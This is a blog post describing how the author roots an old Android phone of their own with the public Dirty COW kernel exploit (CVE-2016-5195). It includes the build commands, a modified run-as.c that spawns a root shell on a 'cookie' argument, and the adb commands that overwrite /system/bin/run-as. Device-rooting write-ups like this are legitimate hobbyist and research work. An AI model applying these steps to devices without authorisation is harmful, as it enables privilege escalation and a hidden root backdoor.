Rooting Android with a Dirty COW
August 22, 2021
I’ve recently got a quite old Android phone to play with. I guess the first thing to do is getting root, don’t you think?
Android SDK
While it is perfectly possible to download the SDK from Android and install it by hand, I liked the idea to use a package from Debian repository.
To interact with the device we will use Android Debug Bridge or adb
for short.
Besides adb
we need to setup a few udev
rules so we can run it without root permissions.
The package android-sdk-platform-tools-common
already does that, we only need to add our user to the plugdev
group.
$ sudo usermod -aG plugdev $(id -un)
$ sudo apt-get install adb android-sdk-platform-tools-common
The compiler and the building tools, however, it wasn’t so easy.
google-android-ndk-installer is available for Bullseye but not for Buster :|
I decided to repackage it:
- I downloaded the source package
- I edited
debian/control
to declare as dependencydebhelper-compat
version 12 instead of 13 (which it is for Bullseye) - and finally, I built the
.deb
package withdpkg-buildpackage -rfakeroot -b -uc -us
dpkg -i *.deb
and we are done.
Gathering info
To compile our priv-esc exploit we need to know the architecture and SDK version of the phone.
$ adb shell getprop ro.product.cpu.abi
armeabi-nn
$ adb shell getprop ro.build.version.sdk
nn
I left the connection details for the official documentation
Dirty COW
One of the most reliable modern exploits, the CVE-2016-5195 know as Dirty COW.
In short, it exploits a race condition in the Copy-on-Write (COW) feature in Linux kernel to write in memory pages that are supposed to be read-only.
This opens a whole set of opportunities to priv-esc:
- we could write a
setuid
program with our payload, execute it and gain root permissions. - or we could patch
/etc/passwd
or other sensible file.
The beauty is that the exploit is quite easy to understand and read, something that it is crucial: you must never root your phone blindly trusting in an unknown apk or exploit. Never.
This Github repository is a PoC for exploiting Dirty COW on Androids. After a few hours of reviewing I was confident that it would be safe to use it.
The repository has:
dirtycow.c
that implements the exploitdcow.c
, a tiny program interfacerun-as.c
that usesselinux
to run as root
I had only modified run-as.c
a little to call the original unpatched run-as
program by default and drop a root shell only under a special condition. We don’t want that anyone can call it and become root!
const char* pkgname;
if (argc < 2)
return 1;
pkgname = argv[1];
if (strcmp(pkgname, "cookie") != 0) {
/* Rollback to the default run-as . */
char *argv2[argc+1];
memset(argv2, 0, sizeof(char*)*(argc+1));
memcpy(argv2, argv, sizeof(char*)*argc);
execvp("/system/bin/run-as.bck", argv2);
return 1;
}
The compilation then went smoothly:
$ export PATH=$PATH:/usr/lib/android-sdk/ndk-bundle/
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=armeabi-nn APP_PLATFORM=android-nn
Patching
We upload the exploit and our custom run-as
program to the phone:
$ adb push libs/armeabi-nn/dirtycow /storage/sdcard0/dcow
$ adb push libs/armeabi-nn/run-as /storage/sdcard0/run-as
We make a backup copy of the unpatched run-as
program and trigger then the exploit. If everything goes well the read-only /system/bin/run-as
will be replaced with our custom run-as
:
$ adb shell 'cp /system/bin/run-as /storage/sdcard0/run-as.bck'
$ adb shell '/storage/sdcard0/dcow /storage/sdcard0/run-as /system/bin/run-as --no-pad'
We run run-as cookie cookie
and we get a root shell; bypassing SELinux will be for another post :D
Related tags: android, root, privilege, priv-esc, escalation, dirty-cow